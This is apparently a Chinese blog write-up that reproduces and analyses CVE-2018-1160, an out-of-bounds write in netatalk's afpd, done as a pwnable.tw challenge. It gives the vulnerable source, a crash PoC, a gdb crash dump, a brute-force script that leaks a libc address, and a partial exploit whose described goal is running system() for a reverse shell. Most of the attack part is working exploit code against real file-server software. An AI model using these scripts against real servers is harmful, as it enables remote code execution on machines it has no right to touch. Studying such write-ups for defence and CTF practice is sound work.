CVE-2018-1160 netatalk越界漏洞复现及分析

CVE-2018-1160 netatalk越界漏洞复现及分析

前言

去年pwnable.tw新上的题目,当时没做出来,今年来解决一下历史遗留问题。

环境搭建

参考Netatalk CVE-2018–1160 越界写漏洞分析这篇文章即可,注意要多安装两个库sudo apt install -y libdb++-dev libdb-dev。安装启动即可,不过鉴于我是做pwnable.tw的题,把libatalk.so.18替换一下,使用./afpd -d -F ./afp.conf启动本地的afpd,看下此时的配置文件,端口为5566,因此connect过去即可和其进行交互。

1
2
3
4
5
[Global]
afp port = 5566
disconnect time = 0
max connections = 1000
sleep time = 0

漏洞分析

Netatalk是AppleTalk的开源实现方案,可以用作文件服务器来实现文件共享,afpd是其中的一个组件,看名字就知道它是一个类似于httpd的拿来做通信的部分,源码目录的./etc/afpd子目录为相关源码树。看下其中的main函数,前面都是初始化的部分,当请求的类型为LISTEN_FD时会调用dsi_start函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
afp_child_t *child = NULL;

if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
return NULL;
}

/* we've forked. */
if (child == NULL) {
configfree(obj, dsi);
afp_over_dsi(obj); /* start a session */
exit (0);
}

return child;
}

跟进去看下dsi_getsession,关键的调用如下,函数调用dsi->proto_open这个函数指针创建了一个新的进程,根据下面的pid号也可以大概看出来是fork出来的,父进程里负责创建新的server监听,创建成功后会使用*childp = child将传入的childp指针赋值并返回0,从而不会进入调用函数的child == NULL处理逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
case -1:
/* if we fail, just return. it might work later */
LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
return -1;

case 0: /* child. mostly handled below. */
break;

default: /* parent */
/* using SIGKILL is hokey, but the child might not have
* re-established its signal handler for SIGTERM yet. */
close(ipc_fds[1]);
if ((child = server_child_add(serv_children, pid, ipc_fds[0])) == NULL) {
LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
close(ipc_fds[0]);
dsi->header.dsi_flags = DSIFL_REPLY;
dsi->header.dsi_data.dsi_code = htonl(DSIERR_SERVBUSY);
dsi_send(dsi);
dsi->header.dsi_data.dsi_code = DSIERR_OK;
kill(pid, SIGKILL);
}
dsi->proto_close(dsi);
*childp = child;
return 0;
}

反之,子进程使用原先的端口进行交互,根据读取到的dsi->header.dsi_command确定不同的分支跳转,赋值部分在proto_open函数指针调用处,该指针指向dsi_tcp_open函数,首先通过dsi_stream_read函数读取用户的socket输入到block,再通过memcpy对header赋值。在dsi_getsession初始化返回后,对于子进程来说,当我们赋值的dsi->header.dsi_command=0x04(DSIFUNC_OPEN)时,会调用dsi_opensession()打开这个session,且*childp被置为空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
switch (dsi->header.dsi_command) {
case DSIFUNC_STAT: /* send off status and return */
{
/* OpenTransport 1.1.2 bug workaround:
*
* OT code doesn't currently handle close sockets well. urk.
* the workaround: wait for the client to close its
* side. timeouts prevent indefinite resource use.
*/

static struct timeval timeout = {120, 0};
fd_set readfds;

dsi_getstatus(dsi);

FD_ZERO(&readfds);
FD_SET(dsi->socket, &readfds);
free(dsi);
select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);
exit(0);
}
break;

case DSIFUNC_OPEN: /* setup session */
/* set up the tickle timer */
dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
dsi_opensession(dsi); //here
*childp = NULL; //here
return 0;

default: /* just close */
LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
dsi->proto_close(dsi);
exit(EXITERR_CLNT);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
//这里补充一下关键的数据结构
/* child and parent processes might interpret a couple of these
* differently. */
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write; /* in the middle of writing multiple packets,
signal handlers can't write to the socket */
int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */

uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
int socket; /* AFP session socket */
int serversock; /* listening socket */

/* DSI readahead buffer used for buffered reads in dsi_peek */
size_t dsireadbuf; /* size of the DSI readahead buffer used in dsi_peek() */
char *buffer; /* buffer start */
char *start; /* current buffer head */
char *eof; /* end of currently used buffer */
char *end;

#ifdef USE_ZEROCONF
char *bonjourname; /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
int zeroconf_registered;
#endif

/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
} DSI;
//
truct dsi_block {
uint8_t dsi_flags; /* packet type: request or reply */
uint8_t dsi_command; /* command */
uint16_t dsi_requestID; /* request ID */
union {
uint32_t dsi_code; /* error code */
uint32_t dsi_doff; /* data offset */
} dsi_data;
uint32_t dsi_len; /* total data length */
uint32_t dsi_reserved; /* reserved field */
};
//
/* accept the socket and do a little sanity checking */
static pid_t dsi_tcp_open(DSI *dsi)
{
pid_t pid;
SOCKLEN_T len;

len = sizeof(dsi->client);
dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);

#ifdef TCPWRAP
{
struct request_info req;
request_init(&req, RQ_DAEMON, "afpd", RQ_FILE, dsi->socket, NULL);
fromhost(&req);
if (!hosts_access(&req)) {
LOG(deny_severity, logtype_dsi, "refused connect from %s", eval_client(&req));
close(dsi->socket);
errno = ECONNREFUSED;
dsi->socket = -1;
}
}
#endif /* TCPWRAP */

if (dsi->socket < 0)
return -1;

getitimer(ITIMER_PROF, &itimer);
if (0 == (pid = fork()) ) { /* child */
static struct itimerval timer = {{0, 0}, {DSI_TCPTIMEOUT, 0}};
struct sigaction newact, oldact;
uint8_t block[DSI_BLOCKSIZ];
size_t stored;

/* reset signals */
server_reset_signal();

#ifndef DEBUGGING
/* install an alarm to deal with non-responsive connections */
newact.sa_handler = timeout_handler;
sigemptyset(&newact.sa_mask);
newact.sa_flags = 0;
sigemptyset(&oldact.sa_mask);
oldact.sa_flags = 0;
setitimer(ITIMER_PROF, &itimer, NULL);

if ((sigaction(SIGALRM, &newact, &oldact) < 0) ||
(setitimer(ITIMER_REAL, &timer, NULL) < 0)) {
LOG(log_error, logtype_dsi, "dsi_tcp_open: %s", strerror(errno));
exit(EXITERR_SYS);
}
#endif

dsi_init_buffer(dsi);

/* read in commands. this is similar to dsi_receive except
* for the fact that we do some sanity checking to prevent
* delinquent connections from causing mischief. */

/* read in the first two bytes */
len = dsi_stream_read(dsi, block, 2);
if (!len ) {
/* connection already closed, don't log it (normal OSX 10.3 behaviour) */
exit(EXITERR_CLOSED);
}
if (len < 2 || (block[0] > DSIFL_MAX) || (block[1] > DSIFUNC_MAX)) {
LOG(log_error, logtype_dsi, "dsi_tcp_open: invalid header");
exit(EXITERR_CLNT);
}

/* read in the rest of the header */
stored = 2;
while (stored < DSI_BLOCKSIZ) {
len = dsi_stream_read(dsi, block + stored, sizeof(block) - stored);
if (len > 0)
stored += len;
else {
LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
exit(EXITERR_CLNT);
}
}

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
memcpy(&dsi->header.dsi_requestID, block + 2,
sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12,
sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);

stored = 0;
while (stored < dsi->cmdlen) {
len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
if (len > 0)
stored += len;
else {
LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
exit(EXITERR_CLNT);
}
}

/* stop timer and restore signal handler */
#ifndef DEBUGGING
memset(&timer, 0, sizeof(timer));
setitimer(ITIMER_REAL, &timer, NULL);
sigaction(SIGALRM, &oldact, NULL);
#endif

LOG(log_info, logtype_dsi, "AFP/TCP session from %s:%u",
getip_string((struct sockaddr *)&dsi->client),
getip_port((struct sockaddr *)&dsi->client));
}

/* send back our pid */
return pid;
}

继续看dsi_opensession函数,对dsi->commands[i++]进行判断,当dsi->commands[0]=1(DSIOPT_ATTNQUANT)时,进入的分支会对dsi->attn_quantum这个4字节的整数进行赋值,memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);然而赋值的长度为用户可控值dsi->commands[i],dis->commands是一个char*类型的变量,因此至多拷贝0xff字节数据到该变量中,造成越界写,观察一下dsi的数据结构,我们可以覆写datasize/server_quantum/serverID/clientID/commands/data[DSI_DATASIZ]这些成员,其中server_quantum会回传回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
int offs;

if (setnonblock(dsi->socket, 1) < 0) {
LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
AFP_PANIC("setnonblock error");
}

/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);//这里
dsi->attn_quantum = ntohl(dsi->attn_quantum);

case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /* forward past length tag + length */
break;
}
}

/* let the client know the server quantum. we don't use the
* max server quantum due to a bug in appleshare client 3.8.6. */
dsi->header.dsi_flags = DSIFL_REPLY;
dsi->header.dsi_data.dsi_code = 0;
/* dsi->header.dsi_command = DSIFUNC_OPEN;*/

dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */

/* DSI Option Server Request Quantum */
dsi->commands[0] = DSIOPT_SERVQUANT;
dsi->commands[1] = sizeof(i);
i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN ||
dsi->server_quantum > DSI_SERVQUANT_MAX ) ?
DSI_SERVQUANT_DEF : dsi->server_quantum);
memcpy(dsi->commands + 2, &i, sizeof(i));

/* AFP replaycache size option */
offs = 2 + sizeof(i);
dsi->commands[offs] = DSIOPT_REPLCSIZE;
dsi->commands[offs+1] = sizeof(i);
i = htonl(REPLAYCACHE_SIZE);
memcpy(dsi->commands + offs + 2, &i, sizeof(i));
dsi_send(dsi);
}

尝试拿poc打一下产生了崩溃,这是因为我们覆写了commands指针,后续memcpy的时候产生非法指针访问错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: UTF-8 -*-

import socket
import struct
from pwn import *

context.update(arch="amd64",os="linux",log_level="debug")
context.terminal = ['tmux','split','-h']

ip = "127.0.0.1"
port = 5566
#sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#sock.connect((ip, port))
sock = remote(ip,port)

dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x80" # length
dsi_opensession += "\x00\x00\x40\x00" # client quantum
dsi_opensession += "\x00\x00\x00\x04" # overwrites datasize
dsi_opensession += struct.pack("I", 0xdeadbeef) # server quantum
dsi_opensession += "\x00\x00\x00\x04" # server ID + Client ID
dsi_opensession += "a"*0x80 # server ID + Client ID

dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession

sock.send(dsi_header)

print sock.recv(1024)

sock.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
RDX: 0x0 
RSI: 0x7f5d56be2092 ('a' <repeats 16 times>)
RDI: 0x55e3c21e9098 --> 0x0
RBP: 0x55e3c21e8940 --> 0x0
RSP: 0x7fff744c2c80 --> 0x0
RIP: 0x7f5d56491fbb (<dsi_opensession+139>: movzx eax,BYTE PTR [rcx+r9*1])
R8 : 0x55e3c21e9018 --> 0x400000000004000
R9 : 0x1
R10: 0x25 ('%')
R11: 0x293
R12: 0x55e3c21e30d0 --> 0x55e3c21e53b0 --> 0x0
R13: 0x1e
R14: 0x7fff744c2d80 --> 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7f5d56491fad <dsi_opensession+125>: mov eax,DWORD PTR [rbx+0x6d8]
0x7f5d56491fb3 <dsi_opensession+131>: bswap eax
0x7f5d56491fb5 <dsi_opensession+133>: mov DWORD PTR [rbx+0x6d8],eax
=> 0x7f5d56491fbb <dsi_opensession+139>: movzx eax,BYTE PTR [rcx+r9*1]
0x7f5d56491fc0 <dsi_opensession+144>: lea esi,[rdx+rax*1+0x2]
0x7f5d56491fc4 <dsi_opensession+148>: cmp rsi,QWORD PTR [rbx+0x106f8]
0x7f5d56491fcb <dsi_opensession+155>: mov rdx,rsi
0x7f5d56491fce <dsi_opensession+158>: jb 0x7f5d56491f80 <dsi_opensession+80>
[------------------------------------stack-------------------------------------]
0000| 0x7fff744c2c80 --> 0x0
0008| 0x7fff744c2c88 --> 0x7f5d56491c63 (<dsi_getsession+467>: mov QWORD PTR [r14],0x0)
0016| 0x7fff744c2c90 --> 0x0
0024| 0x7fff744c2c98 --> 0x600000005
0032| 0x7fff744c2ca0 --> 0x7a00000071 ('q')
0040| 0x7fff744c2ca8 --> 0x7f5d568ae0da ("Operation not permitted")
0048| 0x7fff744c2cb0 --> 0x55e3c21e8ee8 --> 0x8229a8c0be150002
0056| 0x7fff744c2cb8 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007f5d56491fbb in dsi_opensession () from /lib/libatalk.so.18
gdb-peda$ bt
#0 0x00007f5d56491fbb in dsi_opensession () from /lib/libatalk.so.18
#1 0x00007f5d56491c63 in dsi_getsession () from /lib/libatalk.so.18
#2 0x000055e3c0fc6645 in main ()
#3 0x00007f5d5671bb97 in __libc_start_main () from ./libc.so
#4 0x000055e3c0fc6eaa in _start ()

漏洞利用

信息泄露

这个CVE的发现者在NAS上写了个exp,对应的binary编译的时候没有开PIE,因此通过一个利用链可以直接rce,不过我们手头这个是在ubuntu18.04开了PIE编译的,地址泄露是所有利用的开始,这一点也是去年卡住我的原因,今年再回来看这道题的时候搜了下资料,找到了ruan师傅和hitcon2019 qual的exp,终于弄明白了破局之道。答案就是侧信道,这一点我也在TSCTF2020出了道题考别人,结果到自己就想不起来了2333。afpd和apache很相似,都是每次接收到一个请求就会fork出一个新的进程来处理,因此进程的地址空间是不变的,刚才我们提到了发送正常包的时候返回数据里包含有server_quantum,因此我们可以使用部分写的方式,单字节修改dsi->commands,每次修改之后查看返回包,当发生crash时不会有数据包,反之数据包中包含有我们提前设置的特殊值,据此我们可以得到一个合法的地址值。再根据这个地址同libc基址的偏移关系(偏移固定)计算得到libc_base,爆破的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import struct

context.log_level = "debug"
context.update(arch="amd64",os="linux")
#ip = 'localhost'
ip = '127.0.0.1'
port = 5566
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create_header(addr):
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += chr(len(addr)+0x10) # length
dsi_opensession += "a"*0x10+addr
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
return dsi_header


addr = ""
while len(addr)<6 :
for i in range(256):
r = remote(ip,port)
r.send(create_header(addr+chr(i)))
try:
if "a"*4 in r.recvrepeat(1):
addr += chr(i)
r.close()
break
except:
r.close()
val = u64(addr.ljust(8,'\x00'))
print hex(val)
addr += "\x00"*2
libc_addr = u64(addr)
log.success("[+]Now we got an addresss {}".format(hex(libc_addr)))
#libc_base = 0x00007f012bf17000
offset = 0xca1000
libc_base = libc_addr - offset
log.success("[+]libc base {}".format(hex(libc_base)))
libc.address = libc_base

从任意地址写到RCE

源码中搜一下对于dsi->commands的引用,可以找到一处dsi_stream_receive函数的赋值dsi_stream_read(dsi, dsi->commands, dsi->cmdlen),函数的注释表明这是一个对于dsi->commands赋值的函数,查看一下对于这个函数的引用,在afp_over_dsi函数中有个循环会调用此函数,读取完毕后若cmd=2(DSIFUNC_CMD),则以dsi->commands[0]为索引,err = (*afp_switch[function])(obj,(char *)dsi->commands, dsi->cmdlen,(char *)&dsi->data, &dsi->datalen);调用afp_switch函数表的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
/*!
* Read DSI command and data
*
* @param dsi (rw) DSI handle
*
* @return DSI function on success, 0 on failure
*/
int dsi_stream_receive(DSI *dsi)
{
char block[DSI_BLOCKSIZ];

LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

if (dsi->flags & DSI_DISCONNECTED)
return 0;

/* read in the header */
if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
return 0;

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];

if (dsi->header.dsi_command == 0)
return 0;

memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
}

if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;

LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

return block[1];
}
//
void afp_over_dsi(AFPObj *obj)
{
//...
/* get stuck here until the end */
while (1) {
if (sigsetjmp(recon_jmp, 1) != 0)
/* returning from SIGALARM handler for a primary reconnect */
continue;

/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi);
}
//...
switch(cmd) {
case DSIFUNC_CMD:
#ifdef AFS
if ( writtenfork ) {
if ( flushfork( writtenfork ) < 0 ) {
LOG(log_error, logtype_afpd, "main flushfork: %s", strerror(errno) );
}
writtenfork = NULL;
}
#endif /* AFS */

function = (u_char) dsi->commands[0];

/* AFP replay cache */
rc_idx = dsi->clientID % REPLAYCACHE_SIZE;
LOG(log_debug, logtype_dsi, "DSI request ID: %u", dsi->clientID);

if (replaycache[rc_idx].DSIreqID == dsi->clientID
&& replaycache[rc_idx].AFPcommand == function) {
LOG(log_note, logtype_afpd, "AFP Replay Cache match: id: %u / cmd: %s",
dsi->clientID, AfpNum2name(function));
err = replaycache[rc_idx].result;
/* AFP replay cache end */
} else {
/* send off an afp command. in a couple cases, we take advantage
* of the fact that we're a stream-based protocol. */
if (afp_switch[function]) {
dsi->datalen = DSI_DATASIZ;
dsi->flags |= DSI_RUNNING;

LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
err = (*afp_switch[function])(obj,
(char *)dsi->commands, dsi->cmdlen,
(char *)&dsi->data, &dsi->datalen);

AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));
LOG(log_debug, logtype_afpd, "==> Finished AFP command: %s -> %s",
AfpNum2name(function), AfpErr2name(err));

dir_free_invalid_q();

dsi->flags &= ~DSI_RUNNING;

/* Add result to the AFP replay cache */
replaycache[rc_idx].DSIreqID = dsi->clientID;
replaycache[rc_idx].AFPcommand = function;
replaycache[rc_idx].result = err;
}
}

break;
}
}

这个函数指针数组成员如下,默认为未登录状态,因此只能使用下面的函数指针,当用户登陆之后该表会被重新赋值为另一个数组。当idx=0时函数指针为NULL,在函数中不会进行调用而直接break掉,再找下这个函数的调用,好巧不巧这就是dsi_start中对于子进程处理的函数,因此必然会调用到这个函数。

那么到现在我们可以先通过memcpy覆写dsi->commands指针,再通过dsi_stream_read实现任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
AFPCmd *afp_switch = preauth_switch;

AFPCmd postauth_switch[] = {
NULL, afp_bytelock, afp_closevol, afp_closedir,
afp_closefork, afp_copyfile, afp_createdir, afp_createfile, /* 0 - 7 */
afp_delete, afp_enumerate, afp_flush, afp_flushfork,
afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo, /* 8 - 15 */
afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
afp_logout, afp_mapid, afp_mapname, afp_moveandrename, /* 16 - 23 */
afp_openvol, afp_opendir, afp_openfork, afp_read,
afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
/* 24 - 31 */
afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /* 32 - 39 */
afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
afp_null, afp_null, afp_null, afp_null, /* 40 - 47 */
afp_opendt, afp_closedt, afp_null, afp_geticon,
afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl, /* 48 - 55 */
afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
NULL, NULL, NULL, NULL, /* 56 - 63 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 64 - 71 */
NULL, NULL, NULL, NULL,
NULL, NULL, afp_syncdir, afp_syncfork, /* 72 - 79 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 80 - 87 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 88 - 95 */
NULL, NULL, NULL, NULL,
afp_getdiracl, afp_setdiracl, afp_afschangepw, NULL, /* 96 - 103 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 104 - 111 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 112 - 119 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 120 - 127 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 128 - 135 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 136 - 143 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 144 - 151 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 152 - 159 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 160 - 167 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 168 - 175 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 176 - 183 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 184 - 191 */
afp_addicon, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 192 - 199 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 200 - 207 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 208 - 215 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 216 - 223 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 224 - 231 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 232 - 239 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 240 - 247 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 248 - 255 */
};

有了任意地址写之后我们要如何控制执行流呢,按照CTF的思路看如果可以控制__free_hook以及free的对象就可以任意命令执行,但是在真实的漏洞环境里free的对象往往是不可控的,这里介绍一下hitcon的解法,实际上我们之前也用过类似的操作。

  1. 覆写__free_hook__libc_dlopen_mode+56
  2. 覆写_dl_open_hook_dl_open_hook+8,_dl_open_hook+8fgetpos64+207的这个magic_gadget,mov rdi,rax ; call QWORD PTR [rax+0x20],此时因为rdi指向dl_open_hook。我们可以将dl_open_hook+0x20处修改为setcontext+53,从而实现任意函数执行。
  3. 在dl_open_hook后面布置sigFrame,最终触发err时的free,调用system(cmd)执行反弹shell

exp.py

服务器offset和环境相关,可以再写个循环爆破偏移,我懒得调偏移了,所以只给个本地的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
import struct

context.log_level = "info"
context.update(arch="amd64",os="linux")
#ip = 'localhost'
ip = '127.0.0.1'
port = 5566
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create_header(addr):
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += chr(len(addr)+0x10) # length
dsi_opensession += "a"*0x10+addr
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
return dsi_header

def create_afp(idx,payload):
afp_command = chr(idx) # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += payload
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
return dsi_header

#addr = p64(0x7f812631d000)[:6]
'''
addr = ""
while len(addr)<6 :
for i in range(256):
r = remote(ip,port)
r.send(create_header(addr+chr(i)))
try:
if "a"*4 in r.recvrepeat(1):
addr += chr(i)
r.close()
break
except:
r.close()
val = u64(addr.ljust(8,'\x00'))
print hex(val)
addr += "\x00"*2
libc_addr = u64(addr)
log.success("[+]Now we got an addresss {}".format(hex(libc_addr)))
'''
libc_base = 0x00007f50715b6000
offset = 0xca1000
#libc_base = libc_addr - offset
log.success("[+]libc base {}".format(hex(libc_base)))
libc.address = libc_base
raw_input()
#get shell
free_hook = libc.sym['__free_hook']
# mov rdi,rax ; call QWORD PTR [rax+0x20]
